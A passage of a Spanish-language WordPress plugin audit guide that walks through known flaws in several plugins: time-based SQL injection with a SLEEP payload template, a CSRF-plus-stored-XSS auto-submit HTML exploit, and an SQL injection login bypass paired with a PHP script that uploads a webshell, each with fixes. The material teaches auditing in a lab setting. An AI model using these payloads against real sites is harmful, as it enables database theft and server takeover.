juan manuel fernández (the x-c3ll)

25
PROYECTO WORDPRESSA Juan Manuel Fernández (The X-C3LL)

Upload: others

Post on 01-Oct-2021

1 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Juan Manuel Fernández (The X-C3LL)

PROYECTO WORDPRESSA

Juan Manuel Fernández (The X-C3LL)

Page 2: Juan Manuel Fernández (The X-C3LL)

pág. 2 || www.wordpresaquantika14.com || [email protected]

Me alegra que haya llegado el momento de compartir es-

tas líneas escritas por The-Xc3ll, lo conocí en persona en

la RootedCon 2k13 y posteriormente más personalmente

en Navajas Negras. No pude contener mis ganas en pe-

dirle que escribiera algo sobre exploiting en Wordpress

para este proyecto. Jorge Websec

Licenciado en Biología por la Universidad de Salamanca, especiali-

dad de biología fundamental y biotecnología. Desde 2006 ha estado inves-

tigando y realizando auditorias en entornos web como hobbie. Actual-

mente publica en http://blog.0verl0ad.com

Empezó en el entramado mundo de la seguridad informática investi-

gando por su cuenta, de una forma autodidacta. Utilizando para aprender

y compartir los foros y el IRC pudo desarrollar su camino como profesional

en pruebas de intrusión (aparte de leer un montón como todos). Especiali-

zado en auditorias de seguridad web nos trae una guía de como auditar

plugins en wordpress.

Esta obra está bajo una licencia de Creative Commons Reconocimiento-NoComercial-SinObraDerivada 3.0

Unported.

Page 3: Juan Manuel Fernández (The X-C3LL)

pág. 3 || www.wordpresaquantika14.com || [email protected]

Vamos a utilizar la siguiente estructura para la mejor comprensión.

1. Nombre de plugin y vulnerabilidad.

1.1. Información sobre el plugin.

1.2. Breve descripción del código.

2. Vulnerabilidades

3. Explotación

4. Solución

Los plugins de esta edición son:

1. NOSpamPTI 2.1 Wordpress Plugin … pag 4

2. Wordpress WP-SendSMS Plugin 1.0 … pag 9

3. WORDPRESS SHOPPING CART 8.1.14 … pag 16

4. WORDPRESS SEO-WATCH PLUGIN 1.4 … pag 22

Todos estos plugins tienen sus respectivas vulnerabilidades y autores que las encontraron. Pueden verlas en www.exploit-db.com o www.1337day.com Nosotros solo vamos a explicar cómo auditarlas.

Podrás practicar todo desde Wordpressa LAB v1.5. Puedes descargártelo de la misma página que te descargaste este PDF.

Page 4: Juan Manuel Fernández (The X-C3LL)

pág. 4 || www.wordpresaquantika14.com || [email protected]

NOSpamPTI es un plugin de wordpress diseñado a evitar la publicación de

comentarios generados automáticamente por bots. Para tal cometido añade una

prueba-reto basada en responder una suma de dos números naturales comprendidos

entre el 1 y el 4. Posteriormente el plugin comprueba si la respuesta dada coincide con

la esperada. De no coincidir el plugin interpreta que el mensaje ha sido generado por

un programa automático, no se trata de un humano, y eliminar el mensaje.

El plugin posee un archivo PHP principal llamado nospampti.php que posee

únicamente 2 funciones.

*challenge_form():

Es la función encargada de generar la suma y añadirla al formulario original

para el envío de comentarios. Junto al input encargado de recoger la respuesta ante

el reto, también se añade un input tipo “hidden” que contiene el hash md5 de la

respuesta correcta (se resalta en rojo por la importancia que tiene a la hora de hacer

un bypass a la protección)

*challenge_check($comment_id):

Es la función encargada de comprobar si la respuesta del reto es la correcta. En

ella se hace una comprobación con un “if” entre el hash md5 de la respuesta que envió

el usuario y el contenido del campo hidden, de tal forma que si coincide el comentario

se publica y si no éste es eliminado de la base de datos inmediatamente.

Este plugin es vulnerable a Time-based SQL injection y, además, la supuesta

protección que proporciona es fácilmente evadible por parte de los bots.

-Time-based SQL injection:

Las SQL injection (abreviadas a partir de ahora como SQLi) de forma genérica

podemos definirlas como inyecciones de código malicioso dentro de las sentencias

Page 5: Juan Manuel Fernández (The X-C3LL)

pág. 5 || www.wordpresaquantika14.com || [email protected]

normales que ejecuta una aplicación al interactuar con una base de datos. Este código

malicioso perturba el normal funcionamiento de la sentencia, permitiendo a un

atacante ejecutar de forma arbitraria lo que desee. Se produce por tomar directamente

las variables que toman valores proporcionados por el usuario, sin realizar ningún

filtrado.

En el caso concreto de las “Blind SQLi” el atacante no puede ver de forma

directa el resultado de su inyección, sino que tiene que proceder a una “boolenización”

de las sentencias, observando si en tras inyectar se obtiene un valor True o uno

False. Normalmente esto se observa cuando carga o deja de cargar una parte de la

web (si no carga es que la sentencia ha devuelto un valor False; si carga es un True).

De esta forma podemos ir poco a poco deduciendo el nombre de tablas, columnas, etc.

Si observamos el código de nospampti.php nos damos cuenta de que no existe

ningún tipo de protección, y se realiza una sentencia a la base de datos de forma

directa con el valor procedente de la petición POST que se realiza al enviar un

comentario:

$count = $wpdb->get_var("select count(*) from $wpdb->comments where

comment_post_id = {$post_id} and comment_approved = '1'");

Inicialmente podemos pensar que se trata símplemente de una SQLi normal o a

ciegas clásica, pero si observamos el código en conjunto observaremos que su

explotación requiere del uso de técnicas basadas en el timing. if ($hash != $challenge) {

$wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID = {$comment_id}"); $count = $wpdb->get_var("select count(*) from $wpdb->comments where comment_post_id =

{$post_id} and comment_approved = '1'"); $wpdb->query("update $wpdb->posts set comment_count = {$count} where ID = {$post_id}");

wp_die(__('Sorry, wrong answer.')); } }

Si observamos la última línea, resaltada en rojo, veremos que siempre vamos a

obtener el mensaje de “Sorry, wrong answer.” independientemente que la inyección

que nosotros le pasemos a la base de datos devuelva un valor True o False. Por lo tanto

debemos de recurrir al uso de funciones que metan un retardo de un tamaño

suficientemente sensible si la sentencia devuelve True, de tal forma que podamos

discriminar el resultado de la inyección a través del tiempo que tardemos en tener una

respuesta.

Por esta razón se denomina a esta vulnerabilidad “Time-based SQL Injection”:

porque para su explotación recurrimos a retardos de tiempo

La variable vulnerable es comment_post_ID y se manda como un campo

“hidden” en el formulario para el envío de comentarios.

Page 6: Juan Manuel Fernández (The X-C3LL)

pág. 6 || www.wordpresaquantika14.com || [email protected]

-Bypass de la protección Anti-Spam:

Como bonus además este plugin diseñado para evitar los mensajes de SPAM

puede ser bypasseado de múltiples formas, quedando la supuesta protección que ofrece

en entredicho. Observando el código se ve más claro: $nums = array(rand(1,4), rand(1,4));

$n1 = max($nums[0], $nums[1]); $n2 = min($nums[0], $nums[1]);

$challenge = ($n1 + $n2); $hash = md5($challenge);

$question = __("Which the sum of: {$n1} + {$n2}"); $field = sprintf('<p><label for="challenge">%s</label> <input type="hidden" name="challenge_hash"

value="%s" /> <input type="text" name="challenge" id="challenge" size="2" /></p>', $question, $hash); echo $field;

En primer lugar podemos ver como el reto se compone de únicamente una suma

de dos números naturales comprendidos entre 1 y 4 (1, 2, 3, 4) por lo que la variedad

de respuestas plausibles es muy limitada. A parte de esto, el hecho de seguir siempre

la misma estructura permite a un spammer generar un bot que busque la cadena

“Which the sum of:” y a continuación leer la suma y calcular el resultado directamente

(esta debilidad está resaltada en rojo).

Como colofón final nos encontramos con que el propio sistema está mal diseñado

puesto que la respuesta al reto que se debe de enviar (el hash md5, señalado de color

azul) está implícita en el propio formulario, por lo que un usuario malintencionado

únicamente tendría que hacer un bot que buscase el input de nombre

“challenge_hash”, extrajera el md5 y, en un listado previamente creado (las opciones

son pocas puesto que es la suma de únicamente del 1 al 4) comprobar a qué número

corresponde el hash.

Para la explotación manual de esta vulnerabilidad podemos recurrir a

herramientas que permitan la manipulación del contenido enviado por POST. En este

caso vamos a utilizar el add on para Mozilla Firefox conocido como “Live HTTP

Headers”, que permite el sniffing de las cabeceras HTTP y su manipulación.

Volviendo a revisar el código de la función que posee la consulta vulnerable nos

damos cuenta de un detalle que es imprescindible para ponernos en contexto:

Page 7: Juan Manuel Fernández (The X-C3LL)

pág. 7 || www.wordpresaquantika14.com || [email protected]

if ($hash != $challenge) { $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID = {$comment_id}"); $count = $wpdb->get_var("select count(*) from $wpdb->comments where comment_post_id =

{$post_id} and comment_approved = '1'"); $wpdb->query("update $wpdb->posts set comment_count = {$count} where ID = {$post_id}");

wp_die(__('Sorry, wrong answer.')); } }

El operador de comparación “!=” señalado en azul nos indica que la petición a la

base de datos se ejecutará cuando $hash sea diferente a $challenge. Por lo tanto para

poder inyectar cualquier cosa previamente debemos conseguir esta condición, lo cual

es sencillo: únicamente debemos de tomar una petición HTTP que contenga una

petición POST legítima y proceder a modificar el campo challenge_hash por cualquier

cosa.

Una vez hemos modificado el campo challenge_hash por una cadena aleatoria, a

fin de cumplir el !=, procedemos a realizar las inyecciones. Para introducir los retardos

de tiempo podemos emplear la función SLEEP():

Si hacemos la prueba, nos daremos cuenta de que el mensaje de “Sorry, wrong

answer.” tarda mucho más que si nos limitamos a hacer un AND 1=1. Recordemos que

tanto si la inyección devuelve un True o un False siempre vamos a ver ese mismo

Page 8: Juan Manuel Fernández (The X-C3LL)

pág. 8 || www.wordpresaquantika14.com || [email protected]

mensaje: la única forma que tenemos de sacar info es a través de añadir los retardos

con sleep.

Una estructura clásica que es utilizada para la explotación es la que aparece en

muchas CheatSheets sobre SLQi:

99 OR IF((ASCII(MID(({INJECTON}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1--

Utilizando como molde esa sentencia se puede ajustar nuestra inyección.

Como se trata de una tarea muy tediosa el ir probando de forma manual se

puede recurrir a herramientas como SQLmap o Havij para agilizar el proceso.

Una regla general aplicable a la protección contra SQLi, y a cualquier otra

vulnerabilidad con el mismo fundamento, es nunca confiar en los datos que recibimos

a través de GET o POST, puesto que aunque a priori parecen imposibles de modificar,

no es así. Herramientas como Tamper Data o Live HTTp Headers nos permiten la

manipulación de cualquier variable enviada.

Por otra parte, siguiendo esta misma línea de desconfianza, debemos comprobar

siempre el tipo de dato que se nos ha facilitado: si esperamos un integer, únicamente

queremos integers. En PHP tenemos la función gettype que nos devuelve un string

conteniendo el tipo de dato.

También, como siempre, es necesario escapar cualquier carácter que pueda

llegar a ser problemático, usando funciones como htmlspecialchars.

Por último podemos recurrir a las denominadas “prepared statements”, que

permiten hacer consultas a la base de datos usando valores proporcionados por el

usuario sin riesgo de sufrir un SQLi, ya que los valores son entrecomillados

directamente.

Page 9: Juan Manuel Fernández (The X-C3LL)

pág. 9 || www.wordpresaquantika14.com || [email protected]

WP-SendSMS es un plugin para Wordpress que permite el envío de mensajes

cortos a móviles a través del envío de peticiones HTTP a la API del SMS gateway que

vayamos a emplear. El plugin permite una laxa moderación del contenido de los sms a

través de la configuración de blacklists de palabras censuradas así como la definición

de un número máximo de caracteres para enviar en cada sms.

El plugin además implementa ciertas medidas de seguridad, tales como el uso

de captchas y la doble confirmación, que actúan como una primera barrera destinada a

evitar el abuso directo por parte de bots que podrían emplear el envío de SMS en

campañas masivas de spam o para realizar flooding.

Dentro de este plugin encontramos varios archivos PHP de entre los cuales

destacan wp-sendsms.php y sms_admin_settings.php. En WP-SendSMS.php se

localizan las funciones clave para el funcionamiento y en sms_admin_settings.php las

configuraciones que serán utilizadas.

Grosso modo el plugin trabaja enviando una petición con cURL a la API del

SMS gateway. Los parámetros necesarios para el envío del SMS son recogidos por un

formulario localizado en sms_form.php.

A continuación veremos ciertos detalles de los dos archivos más importantes que

conforman este plugin.

*SMS_Admin_Settings.php

En él podemos observar un formulario donde el administrador podrá configurar

el plugin con las opciones mencionadas arriba (uso de captchas, número máximo de

caracteres, etc.) así como añadir la url que deberá de ser utilizada para enviar la

petición al SMS gateway.

...

<form action="" method="post">

<table class="form-table">

<tbody>

<tr valign="top">

<th scope="row"><label for="wpsms_api1"><strong>API 1:</strong> <br

/> Useful Shortcodes: [Mobile], [TextMessage], [SenderID]</label></th>

<td><textarea name="wpsms_api1" id="wpsms_api1" class="regular-

text" cols="100" rows="5"><?php echo get_option('wpsms_api1'); ?></textarea></td>

Page 10: Juan Manuel Fernández (The X-C3LL)

pág. 10 || www.wordpresaquantika14.com || [email protected]

</tr>

<tr valign="top">

<th scope="row"><label for="sender_id"><strong>Sender ID:

</strong></label></th>

<td><input type="text" name="sender_id" id="sender_id" value="<?php

echo get_option('sender_id'); ?>" /></td>

</tr> ...

En el form vemos que se realiza una petición POST con el contenido del

formulario hacia el propio archivo PHP. Detalle importante a tener en cuenta

posteriormente será el “<?php echo get_option('CUALQUIER COSA'); ?>” que permite

mostrar el valor en los inputs ya que va a tener implicaciones en la seguridad del

plugin. Las opciones vienen definidas en un array, y sus valores iniciales se establecen

en el archivo wp-sendsms.php.

Al enviar el formulario por POST se modificará el contenido de dicho array de

tal forma que contendrá los valores (como vemos en el siguiente trozo de código), y

estos nuevos valores serán mostrados en cada respectivo input. if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')

{

//add_option( $option, $value, $deprecated, $autoload );

$options=$_POST;

if(!isset($options['remove_bad_words'])) $options['remove_bad_words']='0';

if(!isset($options['captcha'])) $options['captcha']='0';

if(!isset($options['confirm_page'])) $options['confirm_page']='0';

if(!isset($options['custom_response'])) $options['custom_response']='0';

if(!isset($options['allow_without_login'])) $options['allow_without_login']='0';

foreach($options as $option=>$value)

{

update_option( $option, $value );

}

*WP-SendSMS.php

Es el archivo donde vienen definidas las funciones del plugin. Las principales

son:

-wpsms_activate():

Se encarga de definir los valores por defecto del array que contendrá la

configuración y crea una nueva tabla en la base de datos que recogerá los datos de los

SMS enviados (ID, user_id, mobile, message, response, IP, sent_time).

-sanitize_badwords($message):

Elimina las palabras censuradas que están recogidas en el fichero badwords.txt

a través de un str_replace().

Page 11: Juan Manuel Fernández (The X-C3LL)

pág. 11 || www.wordpresaquantika14.com || [email protected]

-get_data($url):

Realiza una petición cURL normal hacia la API del SMS Gateway

-wpsms_send():

Ejecuta get_data() guardando la respuesta del servidor. Además añade una

entrada en la tabla de la base de datos que se creó al ejecutarse wpsms_activate().

Este plugin es vulnerable a CSRF y XSS persistente.

-Cross Site Request Forgery (CSRF)

Cross Site Request Forgery es la denominación de un ataque que consiste en

forzar a realizar acciones a un usuario autenticado en contra de su voluntad. En este

caso concreto se permite forzar al administrador a rellenar el formulario de

configuración del plugin y enviarlo. Esto es debido a que el formulario localizado en

wp-admin/admin.php?page=sms es procesado sin hacer ningún tipo de comprobación.

Lo ideal sería que al ejecutar una acción que depende de una petición GET o POST se

envíe también un “token” generado que sea imposible de averiguar, de tal forma que la

petición será procesada únicamente si el token enviado coincide con el esperado.

En el caso concreto de nuestro plugin podemos ver que el formulario de

sms_admin_settings.php no envía ningún token, ni hace comprobación alguna;

únicamente se limita a comprobar si se ha enviado por POST el parámetro

settings_submit .

if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')

Y en caso afirmativo procede a modificar las variables del array que contiene la

configuración con los valores enviados.

Si un usuario malintencionado quisiera obligar al administrador a cambiar

algún parámetro de la configuración, tan sólo tendría que crear un exploit en HTML

que autoenviara el formulario con los valores que el atacante desee, y enviárselo al

administrador para que lo visite. Más adelante profundizaremos en el desarrollo del

exploit.

-Cross Site Scripting permanente (XSS)

Los ataques XSS de tipo permanente consisten en la inclusión de código

malicioso (normalmente JavaScript) dentro de una web, permitiendo al atacante

ejecutar variados payloads cuando un usuario visita la web que lo contiene. Este tipo

de vulnerabilidades que permiten la inserción de JavaScript suelen ser utilizadas

para distintos objetivos como el robo de cookies, phising, lanzamiento de exploits

Page 12: Juan Manuel Fernández (The X-C3LL)

pág. 12 || www.wordpresaquantika14.com || [email protected]

contra el navegador, etc.

En el archivo sms_admin_settings.php nos encontramos que el array que

contiene la configuración del plugin no filtra de forma alguna el contenido que el

usuario le pasa: if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')

{

//add_option( $option, $value, $deprecated, $autoload );

$options=$_POST; if(!isset($options['remove_bad_words'])) $options['remove_bad_words']='0';

if(!isset($options['captcha'])) $options['captcha']='0';

if(!isset($options['confirm_page'])) $options['confirm_page']='0';

if(!isset($options['custom_response'])) $options['custom_response']='0';

if(!isset($options['allow_without_login'])) $options['allow_without_login']='0';

foreach($options as $option=>$value)

{ update_option( $option, $value ); }

En las líneas coloreadas de rojo podemos observar como la variable $options

toma directamente el valor que se le ha enviado desde el formulario, sin modificación

alguna, y procede a actualizar el array de configuración con dichos valores. Por lo

tanto guarda todo lo que se le envía sin filtrado alguno.

En este mismo archivo, a partir de la línea 23 comienza el formulario que se

enviará. En él podemos observar como en varias ocasiones se muestran directamente

los valores contenidos en el array: ...

<tr valign="top">

<th scope="row"><label for="maximum_characters"><strong>Maximum

Character Allowed: </strong></label></th>

<td><input type="text" name="maximum_characters"

class="maximum_characters" id="maximum_characters" value="<?php echo

get_option('maximum_characters'); ?>" /></td> </tr> ...

Al no existir ningún tipo de filtrado en ninguno de los puntos (toma de valores y

utilización de estos) un atacante malicioso podría rellenar estas variables con código

JavaScript, y al usarse para rellenar el value del input se estaría incluyendo en la

web. Por ejemplo, si en el campo “Maximum Character Allowed” nosotros lo

rellenamos con un “><script>alert(8)</script> , a la hora de ejecutarse el ECHO

dentro de “value” en la web obtendríamos un:

Page 13: Juan Manuel Fernández (The X-C3LL)

pág. 13 || www.wordpresaquantika14.com || [email protected]

<tr valign="top">

<th scope="row"><label for="maximum_characters"><strong>Maximum

Character Allowed: </strong></label></th>

<td><input type="text" name="maximum_characters"

class="maximum_characters" id="maximum_characters" value="”><script>alert(8)</script>" /></td> </tr>

Y se nos ejecutaría el código JavaScript, mostrándonos un alert con un 8. Un

atacante malicioso podría, por ejemplo, robar la cookie del administrador.

En total los parámetros vulnerables a XSS persistente son:

1. sender_id

2. maximum_characters

3. captcha_width

4. captch_height

5. captcha_characters

La explotación requiere de la combinación de las dos vulnerabilidades

comentadas arriba. Utilizando como medio el CSRF se puede obligar al administrador

a rellenar en el formulario los parámetros vulnerables a XSS persistente, de tal forma

que quedaría a merced del atacante. Para ello podemos valernos de un HTML. En este

ejemplo de PoC (extraído de http://1337day.com/exploit/20877 ) hemos añadido

comentarios para comprenderlo mejor:

<html>

<head>

<script type="text/javascript" language="javascript">

Creamos una función para el autoenvío del formulario

function submitform()

{

document.getElementById('myForm').submit();

}

</script>

</head>

<body>

Creamos el formulario siguiendo la misma estructura que el original

<form name="myForm" action="http://localhost/wordpressa/wp-admin/admin.php?page=sms"

method="post">

<textarea name="wpsms_api1" id="wpsms_api1" class="regular-text" cols="100"

rows="5">http://wordpressa/smsapi.php?username=yourusername&password=yourpassword&mobile=[

Mobile]&sms=[TextMessage]&senderid=[SenderID]</textarea>

<input type="text" name="sender_id" id="sender_id" value="eXpl0i13r">

<input type="checkbox" name="remove_bad_words" id="remove_bad_words" checked="checked"

value="1">

Aqui colocamos nuestro código malicioso

Page 14: Juan Manuel Fernández (The X-C3LL)

pág. 14 || www.wordpresaquantika14.com || [email protected]

<input type="text" name="maximum_characters" class="maximum_characters"

id="maximum_characters" value=' "><script>alert(/Wordpressa!/)</script>'> <input type="checkbox" name="captcha" id="captcha" checked="checked" value="1">

<input type="text" name="captcha_width" class="captcha_option_input" value="" id="acpro_inp4">

<input type="text" name="captcha_height" class="captcha_option_input" value="" id="acpro_inp5">

<input type="text" name="captcha_characters" class="captcha_option_input" value="4"

id="acpro_inp6">

<input type="checkbox" name="confirm_page" id="confirm_page" checked="checked" value="1">

<input type="checkbox" name="allow_without_login" id="allow_without_login" checked="checked"

value="1">

<input type="checkbox" name="custom_response" id="custom_response" value="1">

<textarea name="custom_response_text" cols="100" rows="5"></textarea>

<input type="hidden" name="settings_submit" value="true">

<input type="submit" value="Update Settings" class="button-primary">

</form>

Ejecutamos el autoenvio <script type="text/javascript" language="javascript">

document.myForm.submit()

</script>

</body>

</html>

Con este HTML lo que hacemos es rellenar el formulario con el JavaScript

malicioso y autoenviarlo.

Soluciones:

Para solventar las vulnerabilidades de XSS es imprescindible el filtrado de

cualquier variable cuyo valor sea proporcionado por el usuario. Para tal

misión podemos utilizar, por ejemplo, la función de PHP htmlspecialchars() que

permite escapar aquellos caracteres que puedan ser problemáticos y con los que el

atacante podría formar su inyección. Además podemos eliminar las etiquetas HTML

usando strip_tags(). Podemos hacer un workaround modificando la línea 8 del archivo

sms_admin_settings.php y añadiendo estas funciones, quedando como: foreach($options as $option=>$value)

{

update_option( $option, htmlspecialchars(strip_tags($value)) ); }

En cuanto al CSRF podemos crear una variable con un contenido aleatorio cuyo

valor incluimos en un campo “hidden” dentro del formulario para que sea enviado.

Antes de actualizar el array con los datos de la configuración comprobamos si el valor

enviado por POST de este campo hidden coincide con el deseado, de tal forma que si el

atacante no conoce este “token”, nunca podrá hacer que al enviar el formulario éste

ejecute cambio alguno. En sms_admin_settings.php colocamos al inicio este código: if(!isset($_SESSION['token'])){

$tk = md5(uniqid(mt_rand(), true));

$_SESSION['token'] = $tk;

Lo que aquí hacemos es si no tiene ningún valor la variable “token”, le pasamos

como valor un hash md5 generado, en cierto modo, de forma aleatoria. La línea:

Page 15: Juan Manuel Fernández (The X-C3LL)

pág. 15 || www.wordpresaquantika14.com || [email protected]

if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')

La modificamos para que compruebe el campo hidden que contendrá el token:

if(isset($_POST['tk']) && $_POST['tk']===$_SESSION['token'])

Nótese como en vez de usar “==” utilizamos “===”. Esto tiene como objetivo

evitar la conversión de tipos que ejerce == y así evitar que un hash tipo 0exxxxxxxx o

1exxxxxx pase a ser 0 o 1, dificultando así un ataque por fuerza bruta. En este caso

poco sentido tendría, pero es una buena práctica a tener en cuenta siempre.

Por ultimo sustituimos el campo hidden del formulario (settings_submit) por

nuestro “tk”: <input type="hidden" name="tk" value="<?php echo $_SESSION['token']; ?>" />

<input type="submit" value="Update Settings" class="button-primary" />

Page 16: Juan Manuel Fernández (The X-C3LL)

pág. 16 || www.wordpresaquantika14.com || [email protected]

Wordpress Shopping Cart es un plugin que dota al CMS wordpress de una plataforma e-

comerce con la que poder montar una tienda on-line. Además de las herramientas propias para la

realización de las transacciones, este plugin añade una serie de herramientas administrativas para

facilitar la configuración y funcionamiento de la plataforma.

El plugin se compone de numerosos archivos PHP. Los más interesantes desde

el punto de vista de la seguridad del producto se encuentran en la ruta

/levelfourstorefront/scripts/administration/ :

-backup.php

-exportaccounts.php

-exportsubscribers.php

-dbuploaderscript.php

Los 3 archivos primeros archivos operan de una forma muy similar, por lo que

nos centraremos en el análisis de backup.php que tomaremos como paradigma, ya que

comprendiendo su código podremos fácilmente entender cómo funcionan el resto.

*backup.php

Como su propio nombre indica es el archivo encargado de realizar un

backup de la base de datos que tenemos en nuestro Wordpress. Cuando

accedemos a este fichero se nos permite descargar un archivo SQL para poder

tener nuestro backup.

La primera parte del PHP se encarga de recoger los datos de conexión a la

base de datos que se encuentran guardados en flashdb.php, y de guardar lo

que se le pase por GET en la variable $requestID.

require_once('../../Connections/flashdb.php');

$output_messages=array();

Page 17: Juan Manuel Fernández (The X-C3LL)

pág. 17 || www.wordpresaquantika14.com || [email protected]

$requestID = "-1";

if (isset($_GET['reqID'])) {

$requestID = $_GET['reqID'];

}

A continuación guarda en la variable $usersqlquery la petición SQL que hará a

la base de datos para comprobar si el usuario que ha realizado el backup está

autorizado, para que únicamente aquellas personas con el rol de admin puedan

hacerlo. $usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND

clients.UserLevel = 'admin' ORDER BY Email ASC"); mysql_select_db($database_flashdb, $flashdb);

$userresult = mysql_query($usersqlquery, $flashdb) or die(mysql_error());

$users = mysql_fetch_assoc($userresult);

Grosso modo podemos decir que buscar en la tabla clientes si algún usuario

tiene la password que le pasábamos como parámetro GET reqID y además tiene el rol

de admin. Si ambas (AND) condiciones se cumplen se guarda el nombre del usuario en

la variable $user.

Posteriormente nos encontramos una estructura if-else: si la variable $user contiene

algún valor significará que quien ha hecho la petición cumplía las dos condiciones y

está autorizado, por lo que se procede a preparar el backup; en caso contrario se

muestra un mensaje de error indicando que no se está autorizado: if ($users) {

} else {

echo "Not Authorized...";

}

Dentro del if se hace el backup y se permite su descarga con extensión .sql; el

nombre del archivo será Storefront_backup_(FECHA).sql: header("Content-type: application/octet-stream");

header('Content-Disposition: attachment;

filename=Storefront_Backup_'.date('Y_m_d').'.sql');

header("Pragma: no-cache");

header("Expires: 0");

mysqldump($mysql_database);

Page 18: Juan Manuel Fernández (The X-C3LL)

pág. 18 || www.wordpresaquantika14.com || [email protected]

*dbuploaderscript.php

Es un PHP que permite al administrador subir archivos al servidor. La

comprobación de si se trata de un usuario con nivel administrador es la misma

que se usaba en backup.php y el resto de archivos de exportación de datos de la

db, y de hecho, es el mismo que se usa en la mayoría de los archivos PHP que

componen este plugin. Por lo tanto todos ellos son vulnerables, como veremos en

la siguiente sección.

Retomando la explicación de este archivo en concreto, primero se hace la

misma comprobación que vimos antes (pero esta vez reqID es enviado por

POST): $requestID = $_POST['reqID'];

$usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND

clients.UserLevel = 'admin' ORDER BY Email ASC"); mysql_select_db($database_flashdb, $flashdb);

$userresult = mysql_query($usersqlquery, $flashdb) or die(mysql_error());

$users = mysql_fetch_assoc($userresult);

Y si hay algún usuario que cumple las dos condiciones, se procede a subir el

archivo de forma normal: if ($users) {

//Flash File Data

$filename = $_FILES['Filedata']['name'];

//delete file if exists.

if (file_exists("../../products/".$filename)) { unlink ("../../products/".$filename); }

// Place file on server, into the products folder

move_uploaded_file($_FILES['Filedata']['tmp_name'], "../../products/".$filename);

}

?>

Este plugin es principalmente vulnerable a inyecciones SQL clásicas (SQLi)

debido a que para realizar ciertas consultas a la base de datos utiliza directamente los

valores de variables que le han sido pasados directamente desde el usuario, y que por

tanto pueden encontrarse manipulados. Resulta curioso que en otros ficheros nos

encontremos esta SQLi tan sencilla y sin embargo, un par de líneas más abajo, veamos

cómo se utilizan “prepared statements” o cómo se escapan caracteres problemáticos

dentro de las variables. Esto sugiere a que el código ha sido programado por más de

una persona, o que se ha estado reutilizando partes de otros programas.

Page 19: Juan Manuel Fernández (The X-C3LL)

pág. 19 || www.wordpresaquantika14.com || [email protected]

Retomando la SQLi, ésta se localiza en la sentencia que se utiliza para

comprobar si un usuario tiene el nivel de administrador: $usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND

clients.UserLevel = 'admin' ORDER BY Email ASC");

Como ya habíamos explicado en la sección anterior, esta sentencia lo que hace

es devolver los usuarios que cumplen dos condiciones al mismo tiempo:

-que su “password” se corresponda con el valor $requestID, que recordemos se trataba

de una variable tipo GET llamada reqID.

-que su rol sea el de administrador.

El problema radica en que un atacante puede manipular el contenido de reqID y

poder realizar un bypass de la autenticación.

select * from clients WHERE clients.Password = '" . $requestID . "' AND clients.UserLevel =

'admin' ORDER BY Email ASC

Si hacemos una petición a uno de estos archivos que utilizan este método de “seguridad” del

tipo ?reqID=1' or 1='1 la sentencia quedaría como:

select * from clients WHERE clients.Password = '1' or 1='1' AND clients.UserLevel = 'admin'

ORDER BY Email ASC

Lo que estamos consiguiendo con esta inyección es que la sentencia ahora quede como:

“saca los usuarios cuya password sea 1 o 1 sea igul a 1, y además, tenga el nivel de admin”

Como 1 siempre va a ser igual a 1, la primera condición se cumple, y como

además seguro que hay algún usuario que tenga el nivel de administrador, la petición

nos los devolverá. Como después hay una estructura if-else que evalúa si la petición

devolvió algún usuario, y en nuestro caso lo hará, ya podemos hacer aquella acción que

nos estaba vedada.

En la anterior sección se vio como había ciertos scripts dentro del plugin para

poder subir archivos, o para descargar un backup de la base de datos. A continuación

veremos cómo explotando está débil medida de seguridad podemos descargarnos toda

la base de datos, o subir una webshell que nos permita controlar todo el servidor.

Page 20: Juan Manuel Fernández (The X-C3LL)

pág. 20 || www.wordpresaquantika14.com || [email protected]

La descarga de la base de datos se puede realizar directamente pasando la inyección desde el

navegador:

http://localhost/wordpressa/wp-

content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1

Aprovechando esta SQLi podemos proceder a tomar el control ya que nos

permite realizar un bypass al archivo dbuploaderscript.php, que como ya vimos

anteriormente, su función es la de subir cualquier archivo, independientemente de su

extensión. Por lo tanto podemos crear un exploit sencillo en PHP (modificado de un

PoC de PacketStorm) que mande una petición HTTP para subir nuestra shell, y en el

campo reqID ponga la inyección para el bypass:

Page 21: Juan Manuel Fernández (The X-C3LL)

pág. 21 || www.wordpresaquantika14.com || [email protected]

<?php

//?w=http://localhost/wordpressa/

$uploadfile = "emelco.php"; //Editar con tu webshell

$where = $_GET['w'];

$force = $where . "wp-

content/plugins/levelfourstorefront/scripts/administration/dbuploaderscript.php";

$ch = curl_init("$force");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile",

'reqID'=>"1'or 1='1")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

$postResult = curl_exec( $ch );

curl_close($ch);

header('Location: ' . $where . 'wp-content/plugins/levelfourstorefront/products/' . $uploadfile); ?>

Una regla general aplicable a la protección contra SQLi, y a cualquier otra vulnerabilidad

con el mismo fundamento, es nunca confiar en los datos que recibimos a través de GET o POST,

puesto que aunque a priori parecen imposibles de modificar, no es así. Herramientas como Tamper

Data o Live HTTp Headers nos permiten la manipulación de cualquier variable enviada.

Por otra parte, siguiendo esta misma línea de desconfianza, debemos comprobar siempre el

tipo de dato que se nos ha facilitado: si esperamos un integer, únicamente queremos integers. En

PHP tenemos la función gettype que nos devuelve un string conteniendo el tipo de dato.

También, como siempre, es necesario escapar cualquier carácter que pueda llegar a ser

problemático, usando funciones como htmlspecialchars.

Por último podemos recurrir a las denominadas “prepared statements”, que permiten hacer

consultas a la base de datos usando valores proporcionados por el usuario sin riesgo de sufrir un

SQLi, ya que los valores son entrecomillados directamente.

Page 22: Juan Manuel Fernández (The X-C3LL)

pág. 22 || www.wordpresaquantika14.com || [email protected]

Seo-Watch es un plugin para wordpress que facilita al administrador del blog

poder hacer un seguimiento de sus estadísticas en google. Concretamente el plugin

permite configurar tres URLs y tres palabras clave, de forma automática harán

